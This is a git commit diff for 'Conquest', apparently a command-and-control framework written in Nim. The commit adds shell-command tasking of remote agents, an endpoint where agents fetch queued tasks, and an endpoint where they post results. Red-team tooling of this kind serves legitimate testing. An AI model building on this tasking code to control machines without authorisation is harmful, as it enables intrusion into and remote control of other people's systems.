Implemented basic shell command execution and result retrieval. Next Step: Remove completed tasks from queue

This commit is contained in:
Jakob Friedl
2025-05-22 20:03:22 +02:00
parent 71336a6fa7
commit 1b147aacd6
17 changed files with 187 additions and 39 deletions

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, tables
import terminal, strformat, strutils, sequtils, tables, json
import ./interact
import ../[types, globals, utils]
import ../db/database
@@ -98,10 +98,10 @@ proc agentInteract*(cq: Conquest, name: string) =
# Change prompt indicator to show agent interaction
cq.setIndicator(fmt"[{agent.name}]> ")
cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])
cq.writeLine(fgYellow, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, agent.name, resetStyle, ". Type 'help' to list available commands.\n")
cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.name, resetStyle, ". Type 'help' to list available commands.\n")
cq.interactAgent = agent
while command != "back":
while command.replace(" ", "") != "back":
command = cq.readLine()
cq.withOutput(handleAgentCommand, command)
@@ -120,7 +120,7 @@ proc register*(agent: Agent): bool =
# TODO: Verify that the listener accessed is also the listener specified in the URL
# This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database
if not cq.dbListenerExists(agent.listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Agent from {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n")
cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n")
return false
# Store agent in database
@@ -131,4 +131,34 @@ proc register*(agent: Agent): bool =
cq.add(agent)
cq.writeLine(fgYellow, styleBright, fmt"[{agent.firstCheckin}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
return true
return true
proc getTasks*(listener, agent: string): JsonNode =
{.cast(gcsafe).}:
# Check if listener exists
if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
return nil
# Check if agent exists
if not cq.dbAgentExists(agent.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n")
return nil
# TODO: Update the last check-in date for the accessed agent
let agent = cq.agents[agent]
return %agent.tasks.filterIt(it.status != Completed)
proc handleResult*(listener, agent, task: string, taskResult: Task) =
{.cast(gcsafe).}:
cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Task execution finished.")
cq.writeLine(taskResult.result)
# TODO: Remove completed task from the queue
return

View File

@@ -0,0 +1,2 @@
import ./commands/[shell]
export shell

View File

@@ -0,0 +1,21 @@
import nanoid, sequtils, strutils, strformat, terminal, times
import ../../types
proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) =
# Create a new task
let
date: string = now().format("dd-MM-yyyy HH:mm:ss")
task = Task(
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
agent: cq.interactAgent.name,
command: ExecuteShell,
args: arguments,
result: "",
status: Created
)
# Add new task to the agent's task queue
cq.interactAgent.tasks.add(task)
cq.writeLine(fgBlack, styleBright, fmt"[*] [{task.id}] ", resetStyle, "Tasked agent to execute shell command.")

View File

@@ -1,5 +1,6 @@
import argparse, times, strformat, terminal
import argparse, times, strformat, terminal, nanoid
import ../[types]
import ./commands
#[
Agent Argument parsing
@@ -9,6 +10,8 @@ var parser = newParser:
command("shell"):
help("Execute a shell command.")
arg("command", help="Command", nargs = 1)
arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string])
command("help"):
nohelpflag()
@@ -22,19 +25,26 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
if args[0].replace(" ", "").len == 0: return
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgCyan, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, args[0])
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, args[0])
try:
let opts = parser.parse(args[0].split(" ").filterIt(it.len > 0))
case opts.command
of "back": # Return to management mode
discard
of "help": # Display help menu
cq.writeLine(parser.help())
of "shell":
var
command: string = opts.shell.get.command
arguments: seq[string] = opts.shell.get.arguments
arguments.insert(command, 0)
cq.taskExecuteShell(arguments)
# Handle help flag
except ShortCircuit as err:
if err.flag == "argparse_help":

View File

@@ -44,8 +44,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
elevated: elevated,
firstCheckin: firstCheckin,
jitter: jitter,
process: process,
tasks: @[]
process: process
)
agents.add(a)
@@ -80,7 +79,6 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
firstCheckin: firstCheckin,
jitter: jitter,
process: process,
tasks: @[]
)
agents.add(a)

View File

@@ -1,4 +1,4 @@
import prologue, nanoid
import prologue, nanoid, json
import sequtils, strutils, times
import ../[types]
@@ -65,19 +65,48 @@ proc register*(ctx: Context) {.async.} =
]#
proc getTasks*(ctx: Context) {.async.} =
stdout.writeLine(ctx.getPathParams("listener"))
let name = ctx.getPathParams("agent")
let
listener = ctx.getPathParams("listener")
agent = ctx.getPathParams("agent")
let tasksJson = getTasks(listener, agent)
# If agent/listener is invalid, return a 404 Not Found error code
if tasksJson == nil:
resp "", Http404
# Return all currently active tasks as a JsonObject
resp jsonResponse(tasksJson)
resp name
#[
POST /{listener-uuid}/{agent-uuid}/results
POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results
Called from agent to post results of a task
]#
proc postResults*(ctx: Context) {.async.} =
let name = ctx.getPathParams("agent")
let
listener = ctx.getPathParams("listener")
agent = ctx.getPathParams("agent")
task = ctx.getPathParams("task")
resp name
# Check headers
# If POST data is not JSON data, return 404 error code
if ctx.request.contentType != "application/json":
resp "", Http404
return
try:
let
taskResultJson: JsonNode = parseJson(ctx.request.body)
taskResult: Task = taskResultJson.to(Task)
# Handle and display task result
handleResult(listener, agent, task, taskResult)
except CatchableError:
# JSON data is invalid or does not match the expected format (described above)
resp "", Http404
return

View File

@@ -48,7 +48,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
# Define API endpoints
listener.post("{listener}/register", api.register)
listener.get("{listener}/{agent}/tasks", api.getTasks)
listener.post("{listener}/{agent}/results", api.postResults)
listener.post("{listener}/{agent}/{task}/results", api.postResults)
listener.registerErrorHandler(Http404, api.error404)
# Store listener in database
@@ -62,7 +62,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
cq.add(listenerInstance)
cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on port {portStr}.")
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", getCurrentExceptionMsg())
cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", err.msg)
proc restartListeners*(cq: Conquest) =
let listeners: seq[Listener] = cq.dbGetAllListeners()
@@ -81,7 +81,7 @@ proc restartListeners*(cq: Conquest) =
# Define API endpoints
listener.post("{listener}/register", api.register)
listener.get("{listener}/{agent}/tasks", api.getTasks)
listener.post("{listener}/{agent}/results", api.postResults)
listener.post("{listener}/{agent}/{task}/results", api.postResults)
listener.registerErrorHandler(Http404, api.error404)
try:
@@ -89,7 +89,7 @@ proc restartListeners*(cq: Conquest) =
cq.add(l)
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.name} ", resetStyle, fmt"on port {$l.port}.")
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", getCurrentExceptionMsg())
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)
# Delay before starting serving another listener to avoid crashing the application
waitFor sleepAsync(10)

View File

@@ -57,7 +57,7 @@ proc handleConsoleCommand*(cq: Conquest, args: varargs[string]) =
if args[0].replace(" ", "").len == 0: return
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgCyan, fmt"[{date}] ", resetStyle, styleBright, args[0])
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", resetStyle, styleBright, args[0])
try:
let opts = parser.parse(args[0].split(" ").filterIt(it.len > 0))

View File

@@ -37,7 +37,7 @@ proc renderBaseView(ui: var UserInterface) =
ui.tb.setForegroundColor(fgWhite, bright=false)
ui.tb.drawRect(ui.x.start, 3, ui.tb.width-1, ui.tb.height-2)
ui.tb.setForegroundColor(fgCyan, bright=false)
ui.tb.setForegroundColor(fgBlue, styleBright, bright=false)
ui.tb.write(ui.x.start, 5, fmt"Width: {ui.tb.width}")
ui.tb.write(ui.x.start, 6, fmt"Center: {ui.x.center}")
ui.tb.write(ui.x.start, 7, fmt"Height: {ui.tb.height}")

View File

@@ -23,7 +23,7 @@ type
TaskResult* = string
Task* = ref object
id*: int
id*: string
agent*: string
command*: TaskCommand
args*: seq[string]